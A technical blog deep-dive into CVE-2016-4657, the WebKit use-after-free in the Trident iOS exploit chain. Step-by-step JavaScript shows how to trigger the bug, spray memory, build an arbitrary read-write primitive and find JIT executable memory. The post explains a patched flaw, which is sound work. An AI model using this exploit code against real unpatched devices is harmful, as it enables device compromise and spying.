Jailbreak your Enemies with a Link: Remote Execution on iOS
The Trident Exploit Chain deep-dive (Part I)
💰 Today you’ll learn how to spot WebKit vulnerabilities. If you report new remote execution exploits to Apple, they might just pay you $1,500,000.
This is the story of the Trident exploit chain: 3 zero-day vulnerabilities in iOS that enabled the first remote jailbreak. Part #1 dives into the internals of the JavaScriptCore runtime: where a vulnerability lurks in WebKit which would crack your iPhone wide open.
Strap in. After some light flavour text, this will get damn technical.
Subscribe to Jacob’s Tech Tavern for free to get ludicrously in-depth articles on iOS, Swift, tech, & indie projects in your inbox every two weeks.
Paid subscribers unlock Quick Hacks, my advanced tips series, and enjoy exclusive early access to my long-form articles.
You’re a human rights campaigner, on the brink of closing a legal case against a tyrannical regime. You’re in exile, hiding from dangerous state actors.
Your iPhone dings. A text message from an anonymous source:
“Top 10 most evil war crimes committed by Kim Jong Um: You won’t believe number #7! tinyurl.com/7x1bDs”
Suspending your disbelief, you tap the link — but nothing happens.
Your eyebrows contort quizzically, and you go about your day. In short order there’s a knock at your door; a fade to black; and you find yourself in suitcases.
Your iPhone was remotely jailbroken through the Trident exploit chain, infected with the Pegasus spyware, and the regime got its revenge.
NSO, Pegasus, & Trident
NSO Group is a high-tech Israeli hacking group. They made millions through a deadly innovation: The Remote Jailbreak™.
This used the Trident exploit chain, which combined three unknown iOS security flaws, A.K.A. zero-day exploits. The attack vector was a hyperlink — through social engineering, victims could be tricked into clicking a link. From a web page alone, their iPhone can be jailbroken to allow the Pegasus spyware to be secretly installed.
I don’t think the spyware itself is that interesting — it’s a souped-up version of the paranoiaware that helicopter parents install on their teenagers’ phones. Except, in this instance, the helicopter is a state government, and the unruly teenager is someone they want unalived.
Pegasus accesses device capabilities like the microphone, location, and photos. Jailbreaking gives it root access to the device, so it can poke its tentacles into app sandboxes to peek at ostensibly encrypted texts & calls. Finally, like all good clandestine spyware, it hides itself from Springboard (the home screen).
The really interesting thing is the chain of exploits that enabled iPhones to be remotely jailbroken:
Memory corruption in WebKit which allowed for arbitrary native code execution that escaped a browser tab.
An information leak in the iOS kernel which made the randomised memory location of the kernel discoverable.
A classic memory corruption attack on the kernel which allowed root code execution, fully compromising the device.
Today, we’re going to look in some serious technical depth at the first step of this chain: remote code execution on a victim’s device. I hope you like JavaScript runtime memory internals.
Before you go crazy trying to hack your teacher, your ex, or your cat (where on Earth is he going all day?!), I should mention that this exploit chain was patched way back in 2016, with iOS 9.3.5. But the faulty code is still publicly available on the open-source WebKit archive on GitHub.
This is where the flavour text ends. Turn back now if you’re allergic to C++ runtime source code, or garbage collection theory. But maybe throw me a bone; I spent a very long time trying to make it comprehensible.
The body of this article is split in 2 for your convenience:
How WebKit Memory Corruption Works: the theory behind the JavaScriptCore vulnerability.
Executing a Remote Exploit: the actual JavaScript code we can run to attack this security flaw.
How WebKit Memory Corruption Works
Codename CVE-2016-4657
The first stage of any remote exploit is universal: execute some code on the victim’s device.
When attempting remote code execution on iOS, your prime attack vector is WebKit, the open-source browser engine. Safari, plus every single other browser on iOS, are required to use WebKit.
“But Jacob”, I hear you ask, “isn’t a website executing code on the user’s device already?”
That’s right — the iPhone has the same physical CPU cores and RAM running all the code. However, web browsers use a security mechanism called sandboxing to isolate browser processes from the rest of the system: each tab runs its own separate (single-threaded) process, with their compute and memory logically separated from the other tabs.
This sandboxing of tabs works just like sandboxing of apps: each iOS app has a folder for storage, runs in its own virtual memory address range (starting at 0x00000000
), and gets allocated its own threads by the CPU. Critically, apps & tabs can’t access any of these for other apps & tabs.
The overarching objective of this hack is to escalate privileges until we gain root-level control over our victim’s iPhone. We have our first objective:
Jump from sandboxed JavaScript execution in a browser tab to native code execution in the Safari app process.
Once we’re running code with the privileges of a native app, we’ve achieved the hardest step: remote code execution on our victim’s device, just like it was plugged into our laptop.
JavaScriptCore
Exploiting this WebKit vulnerability requires a serious theoretical understanding of JavaScript internals — specifically JavaScriptCore, the runtime engine for JavaScript code on WebKit, written in C++.
Runtime engine? 🧐
A runtime engine is an extremely impressive-sounding name for “the program which takes the JS code line-by-line and interprets it into something the browser program can run”. It also handles async operations and manages memory for the JS process.
Tell me more about this memory management… 🤔
JS manages memory with garbage collection. This is a popular approach which periodically cleans up memory on the heap that isn’t being used anymore. This “cleaned-up” memory is the crux of this vulnerability.
But what’s the vulnerability? 🤷♂️
The JavaScriptCore runtime has guardrails in place to stop us from corrupting memory. We can bypass these guardrails if we can trick the garbage collector into cleaning up an object we still control.
Ultimately, this is the main goal of the WebKit vulnerability: to create an arbitrary read-write primitive. This is an object which allows us to read and write any process memory in the browser app.
Once we create an arbitrary read-write primitive, all we need to do is locate an executable block of memory, corrupt it with our own malicious code, and we’re off to the races. Or the war crimes.
DefineProperties
The JavaScriptCore library in WebKit also defines built-in JavaScript methods.
One of these methods is defineProperties(), a static which adds or modifies properties on an Object
, like this:
const object1 = {};
Object.defineProperties(object1, {
property1: {
value: 42,
writable: true,
},
property2: {},
});
console.log(object1.property1); // 42
This method can lock down objects by assigning immutable properties, or even set up listeners which power React and Vue.
The implementation of this method had a subtle bug that, I admit, I would not have noticed in code review. The runtime implementation of defineProperties()
iterates through the list of passed properties two times:
for (size_t i = 0; i < numProperties; i++) { ... }
In the first pass of this loop, the method checks each argument is valid. It creates “property descriptor” objects that reference each argument using
toPropertyDescriptor()
.In the second pass, each property is actually associated with the target object by calling
object->methodTable(vm)->defineOwnProperty(...)
on each argument.
During this second pass, the garbage collector might be triggered, which cleans up any heap objects which don’t have a reference to them. To keep its arguments safe from premature garbage collection, defineProperties()
places them in a MarkedArgumentBuffer
.
MarkedArgumentBuffer
This is a data structure which places its contents on a buffer, keeping them safe from the garbage collector while the defineProperties()
function runs.
MarkedArgumentBuffer
begins life on the stack, and stores references for up to 8 properties. When this buffer is full, it moves to the heap when appending a 9th value, where its capacity can be higher.
This move is performed by slowAppend()
:
void MarkedArgumentBuffer::slowAppend(JSValue v) {
// set up increased storage capacity
int newCapacity = m_capacity * 4;
// set up the new buffer on the heap
EncodedJSValue* newBuffer = new EncodedJSValue[newCapacity];
// populate the new buffer with elements from the old buffer
for (int i = 0; i < m_capacity; ++i)
newBuffer[i] = m_buffer[i];
// delete the old buffer
if (EncodedJSValue* base = mallocBase())
delete [] base;
// update properties of MarkedArgumentBuffer to point @ the new buffer
m_buffer = newBuffer;
m_capacity = newCapacity;
// appends the new JSValue, v, onto the new buffer
slotFor(m_size) = JSValue::encode(v);
++m_size;
// ...
This is all pretty textbook array resizing so far: a new buffer is created with greater capacity; the stored values move to the new buffer; and the new value is appended.
slowAppend()
is called when we add our 9th value to defineProperties()
. Here, everything can go wrong.
When the buffer is first moved from the stack to the heap; suddenly the values in the buffer might be at risk of being garbage-collected. To keep them safe, the buffer must be referenced by the heap’s markListSet
.
Let’s check out the rest of slowAppend
:
// ...
// return if the MarkedArgumentBuffer is already on the markListSet
if (m_markSet)
return;
// iterate through all argument values in the buffer
for (int i = 0; i < m_size; ++i) {
// acquire a reference to the heap via the value
Heap* heap = Heap::heap(JSValue::decode(slotFor(i)));
// skip to next iteration if there's no heap reference
if (!heap)
continue;
// add the MarkedArgumentBuffer (this) to the heap's markListSet
m_markSet = &heap->markListSet();
m_markSet->add(this);
break;
}
}
To mark the buffered values as safe from garbage collection, slowAppend
is looking for the heap, and subsequently its markListSet
, so it can add MarkedArgumentBuffer
to the set and keep the values safe.
It locates a heap reference through the argument values in defineProperties()
, iterating through each item in the buffer and checking for a reference to the heap:
Heap* heap = Heap::heap(JSValue::decode(slotFor(i)))
If we call defineProperties()
only using JavaScript primitives such as number
, boolean
, or null
, they’ll all live on the stack — slowAppend
won’t be able to find a heap reference at all.
This means we can pass 9 primitives into defineProperties()
to contrive a situation where the MarkedArgumentBuffer
fails. We can pass heap objects for the 10th, 11th, 12th… properties, unprotected by the heap’s markListSet
after the failed slowAppend()
.
The garbage collector is coming for them.
Dereferencing and Garbage Collection
There’s one more layer of protection before the garbage collector can gobble up the arguments in defineProperties()
: the actual variable passed into the method. After all, references have to come from somewhere.
If we find a way to dereference the variable we pass into defineProperties()
, then we can trick the garbage collector into cleaning up the property.
Remember the two loops performed by defineProperties()
?
In the second pass, which contains the defineOwnProperty
call, it’s possible to override built-in JavaScript methods and replace them with our own code. We can create a situation where this pass calls toString
on our property, and override its implementation.
We can define the toString
method to dereference our object, and puts it at risk of garbage collection. Next, we can create memory pressure, where we take up huge amounts of process memory, to force the garbage collector’s hand.
We now have a theoretical way to contrive a critical, memory-unsafe moment during execution of a regular JavaScript method — WebKit will happily execute this vulnerable code, none the wiser.
This critical moment can be triggered through our playbook:
Calling
defineProperties()
.MarkedArgumentBuffer
trying to move to the heap.Failing to protect the buffered arguments in the heap’s
markListSet
.Dereferencing our JS object through a user-defined method like
toString
.Triggering a garbage collection cycle.
If we get this right, our prize is a stale reference to an object in the memory dead-space.
The memory dead-space
By Wreck-it Ralph logic, I imagine garbage-collected memory awakening in a nondescript white room. Here, it might learn the secrets of the universe before passing on to nothingness.
In the real world, garbage-collected memory is marked by the process as available for allocation, meaning new objects can overwrite it. The physical bits in RAM aren’t switched off; they are just available.
p.s. this is exactly how deleting files on disc works.
Let’s keep our eyes on the prize: arbitrary code execution on the iOS device. Let’s remind ourselves why we’re trying to create a reference to a garbage-collected region of memory in the first place.
The JavaScriptCore runtime engine contains guardrails to maintain integrity of the process in each browser tab. These guardrails protect access to internal properties of JavaScript objects, such as the length
of an array.
Without these guardrails, we could assign any values they like to any properties they like — for example, we could set an array’s length
to the entire memory address range of the native browser app process, then write to the array to corrupt memory throughout the entire program.
(That’s exactly what we’re going to do).
The pointer we have created to the garbage-collected memory address is called a stale reference. This reference points to an object free from these runtime integrity checks.
Why was the memory system designed this way? You might be asking. Why couldn’t they just place guardrails on garbage-collected memory?
The answer is a pragmatic trade-off between security and performance. It would be wildly inefficient to perform runtime integrity checks every time a block of memory was allocated, so the runtime assumes that “available” memory is all safe to use.
This stale reference allows us to create our arbitrary read-write primitive.
Arbitrary read-write primitives
An arbitrary read-write primitive allows us to read and write to an arbitrary memory address — that means anywhere — in the running process.
A read-write primitive escapes the sandboxed browser runtime and corrupts the whole process memory. By writing to an “executable” memory region, this exploit can run our own code natively.
We can play a few tricks to set up this primitive.
When attempting to trigger the garbage collection cycle, I mentioned that the exploit creates memory pressure. This is done by creating and deleting many large objects, forcing the runtime to free up memory. The result is our stale pointer.
Once we’ve forced the garbage collection cycle, we can perform memory spraying — create millions of tiny arrays, one of which overlaps the newly available block of memory which our stale pointer references. One of these arrays will become our arbitrary read-write primitive.
The stale reference now points at 2 things simultaneously:
The invalid cleaned-up memory address.
The new array which took up the space.
At the byte level, the memory address contains a nondescript JavaScript array — but our stale reference is free to modify its properties without those pesky runtime integrity checks spoiling the fun.
We create an arbitrary read-write primitive by setting the array’s length
property to the maximum hexadecimal 0xffffffff
. This covers the whole memory range, converting our unassuming array into a mutable view over the entire address space.
After creating the primitive, there is a final step: before we can corrupt the process memory, we need to actually find the array amongst the millions we created with memory spraying. This isn’t that hard — we can modify it slightly and search for the array containing the new value.
With this knowledge under our belt, we have an open goal to corrupt Safari’s memory and run our nefarious native code.
Executing a Remote Exploit
Woah. That was a ton of theory.
Before we get into the actual code for this exploit, let’s recap:
All iOS browsers run on WebKit. This includes JavaScriptCore, a runtime engine which interprets JavaScript code and handles memory with a garbage collector.
The static JavaScript method
defineProperties()
places its properties in aMarkedArgumentBuffer
to protect them from the garbage collector, and loops over its arguments twice.With more than 8 arguments in
defineProperties()
, the runtime callsslowAppend()
, which moves the buffer to the heap. The buffer is protected from garbage collection due to a reference from the heap’smarkListSet
.slowAppend()
will be called for the 9th argument todefineProperties()
. If all the values passed in so far are primitives, JavaScriptCore can’t find a reference to the heap. Subsequent arguments are unprotected.It’s possible to override methods on the properties passed into
defineProperties()
. In the second loop pass, we can create our own implementation fortoString
on one of our arguments. This dereferences one of the unprotected arguments and places it at risk of garbage collection.This user-defined
toString
method can additionally create memory pressure by allocating and deleting many large objects. The garbage collector may be triggered here, giving us a stale reference to our original argument: a pointer at an invalid memory region.We can perform memory spraying, creating millions of tiny arrays. These new arrays should overlap with newly-freed memory, including one at the address pointed to by the stale reference.
We can modify this new array via the stale reference, not subject to JavaScriptCore runtime integrity checks.
We can create an arbitrary read-write primitive via the stale reference, by setting the
length
property of the array it points at to0xffffffff
, slightly modifying its contents, and searching for that array.Once we locate it, we can freely corrupt memory: we can write our own code to an process memory region marked executable.
Now we understand all the moving parts of this system — a system installed in over 1 billion iPhones — actually executing this attack will feel like a cakewalk.
The original source for this code has been lost to time. Handily, the Nintendo Switch — which has no true browser app — uses the faulty, unpatched version of WebKit in its WiFi captive portal page — making this exploit extremely popular with the Switch hacker community.
This section borrows from source code adapted for Nintendo Switch by viai957 and iDaN5x.
Web boilerplate
The entry-point for this hack is a good old-fashioned web page. It listens to the window loading and immediately run our malicious method.
<!doctype html>
<html>
<head>
<title>CVE-2016-4657</title>
</head>
<body>
<script>
function perform_hack() {
// ...
}
window.onload = function() {
perform_hack();
};
</script>
</body>
</html>
Despite requiring an in-depth knowledge of C++ and JavaScriptCore memory internals, this entire exploit is performed with vanilla JavaScript* running on the tab.
*There are some real polymaths at NSO group.
Object.defineProperties()
Let’s take a look at how to define our arguments, and how we can call defineProperties()
to run this exploit:
var arr = new Array(0x100) // this will be garbage-collected
var not_a_number = ... // we'll look into this next
var props = {
p0: { value: 0 },
p1: { value: 1 },
p2: { value: 2 },
p3: { value: 3 },
p4: { value: 4 },
p5: { value: 5 },
p6: { value: 6 },
p7: { value: 7 },
p8: { value: 8 }, // slowAppend called on this argument
length: { value: not_a_number },
stale: { value: arr },
after: { value: 666 } // hackers being cute
};
var target = [] // any arbitrary JS object
Object.defineProperties(target, props);
Recall that during defineProperties()
, two loops over each argument (defined in props
) are run. In the first loop, these arguments are appended to the MarkedArgumentBuffer
.
Many number
-typed values are used as arguments , which naturally live on the stack. When p8
is processed by the first pass, the MarkedArgumentBuffer
runs slowAppend()
, but fails to find a heap reference among the 9 existing number
arguments.
Therefore, the buffer is never referenced by the heap’s markListSet
, placing any further heap-based arguments at risk of garbage collection. Subsequently the length
argument will be unsafely stored on the heap.
In the second loop of defineProperties()
, the runtime calls defineOwnProperty
for each argument:
object->methodTable(vm)->defineOwnProperty(object,
globalObject,
propertyName,
descriptors[i],
true);
descriptors
is the array of property descriptor objects created by the first loop pass.defineOwnProperty
associates these property descriptors for each argument with theobject
passed todefineProperties()
,This
object
is thevar target = []
we defined.
In this second pass, when defineOwnProperty
is called on length
, something fishy happens.
length and toString
For JavaScript objects, length
is a special property.
The JavaScriptCore engine manages this property internally, ensuring that length
is always a non-negative integer. Therefore, the runtime will take the length
property we defined as an argument to defineProperties()
, and try anything it can to interpret it as a number.
Let’s see how we can exploit this behaviour:
var not_a_number = {};
not_a_number.toString = function() {
console.log('toString called');
// ...
return 10;
}
var props = {
// ...
length: { value: not_a_number },
// ...
};
var target = []
Object.defineProperties(target, props);
If you copy the code so far into an HTML doc, you can put a breakpoint in the dev console to confirm it for yourself: toString
is called when we run Object.defineProperties(target, props)
.
Up until now, we are using perfectly vanilla JavaScript, so this will work exactly as it did before the iOS 9.3.5 patch to WebKit.
This patch didn’t change the behaviour when JavaScript tries to change a length property; but these days slowAppend is protected against
markListSet
shenanigans.
In its search for a positive integer representation for length
, the runtime tries peering at the value we supplied in a few different ways.
One of these angles is string representation, where JavaScriptCore calls toString
on our length
value to see if that turns it into a positive integer.
This happens in defineOwnProperty
, called by the second loop of the original defineProperties()
function. Our implementation of toString
, ever inconspicuous, returns a number at the end.
We override the implementation of toString
on not_a_number
with our own definition. With the arguments prone, unprotected from the garbage collector, all we need to do is remove one last reference…
Dereferencing
The magic happens in toString
.
After not_a_number, we passed a basic JavaScript array as an argument to defineProperties()
:
var arr = new Array(0x100) // this will be garbage-collected
var props = {
// ...
p8: { value: 8 }, // calls slowAppend in loop #1
length: { value: not_a_number }, // calls toString in loop #2
stale: { value: arr },
// ...
};
This stale
object is destined to become our ultimate stale pointer.
Now it’s vulnerable to garbage collection, we can manually remove the existing references to arr
:
not_a_number.toString = function() {
arr = null;
props["stale"]["value"] = null;
...
}
The actual memory which formed arr
still exists, we just nullified all the pointers to it.
It’s sitting in the memory dead-space waiting to fade away.
Memory Pressure
Our current goal is for the memory address of arr
, to which we removed all references, to be marked available by the garbage collector.
toString
creates memory pressure to force this garbage collection:
// create a 100-element array
var pressure = new Array(100)
not_a_number.toString = function() {
...
// run several times
for (var i = 0; i < 8; ++i) {
// allocate a heavy object to each
// index of the 100-element array
for (var i = 0; i < pressure.length; i++) {
// hexadecimal 0x10000 * 32 bits = 256kB
pressure[i] = new Uint32Array(0x10000);
}
// 'free' the memory you just filled in each loop
for (var i = 0; i < pressure.length; i++) {
pressure[i] = 0;
}
...
}
This takes up a lot of memory very quickly: each loop allocates one hundred 256kB Uint32Array
s; taking up 25.6MB per pass.
Even though we ‘free’ the memory in the pressure
array by deleting its elements, the system can’t actually reuse that memory until it’s garbage-collected and marked available.
Remember, kids, this was back in 2016 when that was a lot of RAM.
The browser was holding all this memory in a single sandbox — even today, 200MB for a single tab is considered ludicrously high (unless, I guess you’re running Slack or something).
When toString
is called by defineProperties()
, the references to arr
are removed. Through this memory pressure, we should also trigger a garbage collection cycle, marking arr
as available memory.
Memory spraying
Once the garbage collector runs, we want to write an array to the original memory location of arr
.
We can achieve this through memory spraying, where we allocate millions of new arrays in memory. One of these will be allocated to the same memory address referenced by our stale pointer, and become our arbitrary read-write primitive.
// many, many attempts
var attempts = new Array(4250000)
not_a_number.toString = function() {
...
// create an 80-byte buffer of raw 1s and 0s
var buffer = new ArrayBuffer(80)
// create an array backed by the buffer
// this allows us to easily edit the buffer
var uintArray = new Uint32Array(buffer);
// set an arbitrary value for the underlying buffer
uintArray[0] = 0x41414141;
for (i = 0; i < attempts.length; i++) {
// store millions of arrays locally
// these all point to the same buffer
attempts[i] = new Uint32Array(buffer);
}
}
The backing ArrayBuffer
allows us to spray millions of arrays with the same bits: every single one of the 4.25 million Uint32Array
s points to the same 80-byte binary backing buffer in memory.
Using the same buffer for everything means our stale pointer (probably) won’t point at a useless set of bits. The memory will be almost entirely filled with the millions of Uint32Array
objects.
Uint32Array
is syntax-sugar for hackers: it offers a user-friendly random-access interface (with O(1)
time-complexity for reads & writes) to manipulate arrays of bytes. Like process memory.
Since there are so many arrays created, it’s relatively likely that one of these arrays sits in the ‘freed’ memory address which our stale reference points to. If not, we can retry until it succeeds.
Creating our Read-Write Primitive
We’ve (probably) triggered garbage collection so far to create a stale reference after applying memory pressure. We’ve performed memory spraying to allocate many arrays, one of which will be in the same memory address referenced by stale
.
var not_a_number = {};
not_a_number.toString = function() { ... }
var props = {
// ...
length: { value: not_a_number },
stale: { value: arr }
// ...
}
var target = [];
Object.defineProperties(target, props);
To get to the corruptible memory address, we can access one of the properties we defined on var target = []
:
stale = target.stale;
This points at the array arr
, which was dereferenced by toString
and deallocated by the garbage collector. Now, stale
is our stale pointer.
Before searching for the corruptible Uint32Array
, we should check if all the steps up until now worked. We can inspect the underlying value of stale
to see if it contains the buffer value we set on our memory-sprayed Uint32Array
s:
if (stale[0] == 0x41414141) { ... }
If this is true(thy), it means garbage collection was triggered and our pointer is indeed stale.
We want to corrupt the length
of the Uint32Array
pointed at by stale
. Since a Uint32Array
is based on the JSGenericTypedArrayView
type, we can analyse its implementation in JavaScriptCore (or whichever engine you’re trying to crack).
We need to find the exact byte offset corresponding to length
in the memory layout of the JSGenericTypedArrayView
type.
// the 'length' property is stored 4 bytes into the Uint32array
// object in memory - based on the WebKit implementation of JS
var OFFSET_TO_LENGTH_FIELD = 4;
// Use the stale pointer to overwrite the length of the Uint32Array
stale[OFFSET_TO_LENGTH_FIELD] = 0xffffffff;
Make sure you understand that the Uint32Array
object is separate from the underlying ArrayBuffer
in memory.
The buffer is the shared bits in memory that store some arbitrary number (here, we chose 0x41414141
). The array objectis one of millions which contain a pointer to the buffer and a length
, plus some other metadata. The object is what we’re corrupting.
By setting the Uint32Array
object’s length
metadata to 0xffffffff
, we’ve covered the entire address space with an entity we can fully manipulate.
Finding our Read-Write Primitive
To make our primitive searchable, we edit the underlying 80-byte ArrayBuffer
backing our corrupted Uint32Array
. We just need to modify the number it stores:
stale[0] = 0x42424242
Now we can find the memory address which stale
points to: the array with a backing buffer containing 0x42424242
instead of 0x41414141
.
To complete our exploit, we must find the corrupted Uint32Array
. Since we cached them in attempts
during memory spraying, this is straightforward:
// loop over the 4.25 million cached Uint32Arrays
for (var x = 0; x < attempts.length; x++) {
// find the one array which doesn't contain 0x41414141
if (attempts[x] == 0x42424242) {
// assign a variable for our read-write primitive
var corrupted_memory_view = attempts[x];
break;
}
}
// ... do hacking
Now we have a corrupted_memory_view
variable — our arbitrary read-write primitive, giving a full view over Safari process memory.
Memory Corruption
We utilised Uint32Array
during memory spraying for its incredibly convenient methods to read and write data to its elements.
As well as being ubiquitous in browser engines, JavaScript has another property that makes it catnip for hackers: JIT compilation.
Because it’s an interpreted language, the JavaScriptCore engine reads JavaScript code, writes instructions to memory, and executes them on-the-fly (or Just-In-Time).
This means Safari has process memory regions marked as executable — technically, RWX (read-write-execute).
Our arbitrary read-write primitive endows us with control over the whole process memory, but we still need to work out the address of this executable region. To do this, we can create a Function
object full of empty code.
var body = ''
for (var k = 0; k < 10000; k++) {
body += 'try {} catch(e) {};';
}
var leak_address = new Function('x', body);
If we call it repeatedly, the function becomes hot. JavaScriptCore will use the JIT compiler to compile the function into native machine code to optimise its performance.
for (var i = 0; i < 100000; i++) {
leak_address();
}
We can read out the memory address of the leak_address
function with our arbitrary read-write primitive to find the executable region. We can overwrite the empty try-catch code with our own shell code and execute our dark designs in native code.
We’ve finally achieved the pinnacle of hacking: remote code execution on iOS devices. Next time, we’ll move onto kernel exploits to wrest full control.
Conclusion
I first learned about this hack 7 years ago, and the level of sophistication it took entirely blew my young mind. Simply hearing about how the hack worked at a high level to get total control over a device was simply magical.
I’m a little older and a lot more jaded now. Magic is for children; real grown-ups spend weeks with their nose to the grindstone: parsing out terse technical papers on garbage collection or reasoning through Nintendo Switch re-implementations of JavaScriptCore exploits.
What I’m trying to say is, I hope you had fun reading this, and that I didn’t sightly burn myself out for nothing. I had fun in my WebKit rabbit-hole.
If you enjoyed this article; I’ll happily grind out the fatal conclusion — Jailbreak your Enemies with a Link: Hijacking the Kernel.
If you do find a novel zero-day exploit in WebKit, and Apple pays you $1.5M, I’d appreciate you getting a paid subscription to Jacob’s Tech Tavern! I’m running a $6 early-bird special this week only!
If you enjoy my blog, you’d love iOS Dev Tools and Fatbobman's Swift Weekly!